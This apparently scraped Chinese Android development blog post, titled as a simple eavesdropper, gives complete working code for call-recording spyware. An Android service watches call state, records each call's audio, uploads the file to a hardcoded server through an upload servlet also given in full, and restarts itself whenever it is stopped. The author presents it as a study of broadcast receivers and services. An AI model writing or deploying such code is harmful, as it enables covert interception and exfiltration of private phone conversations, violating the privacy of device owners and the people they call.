安卓菜鸟开发笔记简易窃听器
来源:互联网 发布:网络商标注册 编辑:程序博客网 时间:2024/05/21 11:30
研究广播接受者和服务的作用写出一个电话窃听器
分为以下几步
1、服务端的搭建
准备工作:
服务端使用Tomcat+servlet 工具:MyElipse jar包:commons-fileupload-1.2.2.jar commons-io-2.0.1.jar
新建工程创建一个Servlet上传类
package t;import java.util.List;import java.io.File;import java.io.IOException;import javax.servlet.ServletException;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import org.apache.commons.fileupload.FileItem;import org.apache.commons.fileupload.FileItemFactory;import org.apache.commons.fileupload.disk.DiskFileItemFactory;import org.apache.commons.fileupload.servlet.ServletFileUpload;public class UploadServlet extends HttpServlet {public void doGet(HttpServletRequest request, HttpServletResponse response)throws ServletException, IOException {this.doPost(request, response);}public void doPost(HttpServletRequest request, HttpServletResponse response)throws ServletException, IOException {boolean isMultipart = ServletFileUpload.isMultipartContent(request); if (isMultipart) { //获取真实路径 String realpath = request.getSession().getServletContext() .getRealPath("/files"); System.out.println(realpath); File dir = new File(realpath); //如果文件不存在就在当前工程的文件夹下新建一个名为files的文件夹 if (!dir.exists()) dir.mkdirs(); FileItemFactory factory = new DiskFileItemFactory(); //解析HTTP请求的参数 ServletFileUpload upload = new ServletFileUpload(factory); upload.setHeaderEncoding("UTF-8"); try { List<FileItem> items = upload.parseRequest(request); for (FileItem item : items) { if (item.isFormField()) { String name1 = item.getFieldName();// 得到请求参数的名称 String value = item.getString("UTF-8");// 得到参数值 System.out.println(name1 + "=" + value); } else { item.write(new File(dir, System.currentTimeMillis() + item.getName().substring( item.getName().lastIndexOf(".")))); } } } catch (Exception e) { e.printStackTrace(); } } }}
2、安卓端的搭建
创建广播接收者用来接收系统播出电话时发出的广播
创建服务用来完成后台录音和上传的操作
创建一个上传的类
package com.example.szh.revise;import android.content.Context;import com.example.szh.revise.loopj.android.http.AsyncHttpClient;import com.example.szh.revise.loopj.android.http.AsyncHttpResponseHandler;import com.example.szh.revise.loopj.android.http.RequestParams;import org.apache.http.Header;import java.io.File;import java.io.FileNotFoundException;/** * 作者:SZH on 2016/5/24 00:49 * 邮箱:821114176@qq.com * ALL BY SZH */public class FileUpload { public void Upload(String path){ File file = new File(path); if(file.exists()){ String UploadUrl = "http://192.168.191.1:8080/t/UploadServlet"; AsyncHttpClient ahc = new AsyncHttpClient(); RequestParams rp = new RequestParams(); try { rp.put("file",file); ahc.post(UploadUrl, rp, new AsyncHttpResponseHandler() { @Override public void onSuccess(int statusCode, Header[] headers, byte[] responseBody) { } @Override public void onFailure(int statusCode, Header[] headers, byte[] responseBody, Throwable error) { } }); } catch (FileNotFoundException e) { e.printStackTrace(); } }else{ System.out.println("文件不存在"); } }}广播接收者 接收系统拨电话的广播 启动服务
package com.example.szh.revise;import android.content.Intent;import android.os.Environment;import android.support.v7.app.AppCompatActivity;import android.os.Bundle;public class BroadCast extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_broad_cast_rceiver); Intent intent = new Intent(this,PhoneService.class); startService(intent); }}服务的编写
package com.example.szh.revise;import android.annotation.TargetApi;import android.app.Notification;import android.app.NotificationManager;import android.app.Service;import android.content.Context;import android.content.Intent;import android.graphics.BitmapFactory;import android.media.MediaRecorder;import android.os.Build;import android.os.Environment;import android.os.IBinder;import android.telephony.PhoneStateListener;import android.telephony.TelephonyManager;import java.io.IOException;/** * 作者:SZH on 2016/5/23 22:10 * 邮箱:821114176@qq.com * ALL BY SZH */public class PhoneService extends Service { private TelephonyManager tm; private MyListener listener; private MediaRecorder mr; NotificationManager nm; @Override public IBinder onBind(Intent intent) { return null; } @TargetApi(Build.VERSION_CODES.JELLY_BEAN) @Override public void onCreate() { /* * TelephonyManager类主要提供了一系列用于访问与手机通讯相关的状态和信息的get方法。 * 其中包括手机SIM的状态和信息、电信网络的状态及手机用户的信息。在应用程序中可以使用这些get方法获取相关数据。 * TelephonyManager类的对象可以通过Context.getSystemService(Context.TELEPHONY_SERVICE)方法来获得, * 需要注意的是有些通讯信息的获取对应用程序的权限有一定的限制,在开发的时候需要为其添加相应的权限。 * */ tm = (TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE); listener = new MyListener(); //监听器 监听状态 tm.listen(listener,PhoneStateListener.LISTEN_CALL_STATE); super.onCreate(); } private class MyListener extends PhoneStateListener{ String incomingNumber; //监听手机的通话状态 @Override public void onCallStateChanged(int state, String incomingNumber) { if(incomingNumber!=null){ this.incomingNumber = incomingNumber; } switch (state){ case TelephonyManager.CALL_STATE_IDLE://空闲状态 System.out.println("空闲状态"); if(mr!=null){ mr.stop(); mr.release(); mr = null; String path = Environment.getExternalStorageDirectory()+"/"+this.incomingNumber+".3gp"; System.out.println(path); FileUpload fileUpload = new FileUpload(); fileUpload.Upload(path); } break; case TelephonyManager.CALL_STATE_RINGING://响铃状态 System.out.println("响铃状态"); break; case TelephonyManager.CALL_STATE_OFFHOOK://电话接通 System.out.println("电话接通"); startRecorder(this.incomingNumber); break; } super.onCallStateChanged(state, incomingNumber); } } @Override public int onStartCommand(Intent intent, int flags, int startId) { flags = START_STICKY; return super.onStartCommand(intent, flags, startId); } @Override public void onDestroy() { tm.listen(listener,PhoneStateListener.LISTEN_NONE); System.out.println("服务结束"); Intent localIntent = new Intent(); localIntent.setClass(this, PhoneService.class); //销毁时重新启动Service this.startService(localIntent); System.out.println("服务重新启动"); super.onDestroy(); } public void startRecorder(String incomingNumber){ //创建一个录音器实例 mr = new MediaRecorder(); //设置录制的数据源\ mr.setAudioSource(MediaRecorder.AudioSource.VOICE_CALL); //设置输出文件的格式 3gp mr.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); //设置保存文件的名称 保存在本机的主目录下 mr.setOutputFile(Environment.getExternalStorageDirectory()+"/"+incomingNumber+".3gp"); //设置编码方式 mr.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); try { mr.prepare(); mr.start(); } catch (IOException e) { e.printStackTrace(); } }}
该应用只是研究广播接收者和服务的整合
当Activity被销毁时 服务也会被销毁
Activity没有写任何布局
0 0
- 安卓菜鸟开发笔记简易窃听器
- 安卓个人学习笔记---BroadcastReceiver实现短信窃听器
- 安卓菜鸟开发笔记(10-7)图片颜色变化
- 安卓简易笔记app
- 安卓开发的简易计算器
- 安卓开发简易电话拨号器
- 安卓开发之简易新闻客户端
- 安卓电话窃听器小程序(仅用于学习)
- Kotlin开发安卓APP笔记实战-写个简易记事本(需求分析)
- 安卓菜鸟开发笔记(10-8)多媒体播放器api
- 安卓菜鸟开发笔记(10-8)多媒体播放器02视频播放器
- 安卓开发笔记
- 安卓开发笔记
- 安卓开发笔记
- 【简易的APP开发】开发简易安卓浏览器(一)
- 安卓简易闪光灯
- 安卓简易计算器
- 安卓简易理财
- UVA 11324 scc缩点+树上最长路
- Linux C语言遍历文件夹
- Leetcode 217. Contains Duplicate
- HDU 2539 点球大战(字符串+输出坑)
- CodeForces 4A Watermelon(太水了。。。。。)
- 安卓菜鸟开发笔记简易窃听器
- 如何跨UI实现功能
- HDU 2767 强联通分量
- c++第六次上机实验-项目2-数组合并
- Java之块的执行顺序
- iOS学习之Persist Data
- FFmpeg实用命令
- 5月23号 硕士毕业预答辩关于ppt的相关要求
- hrbust 1375 The Active Leyni【暴力打表+递推+矩阵快速幂】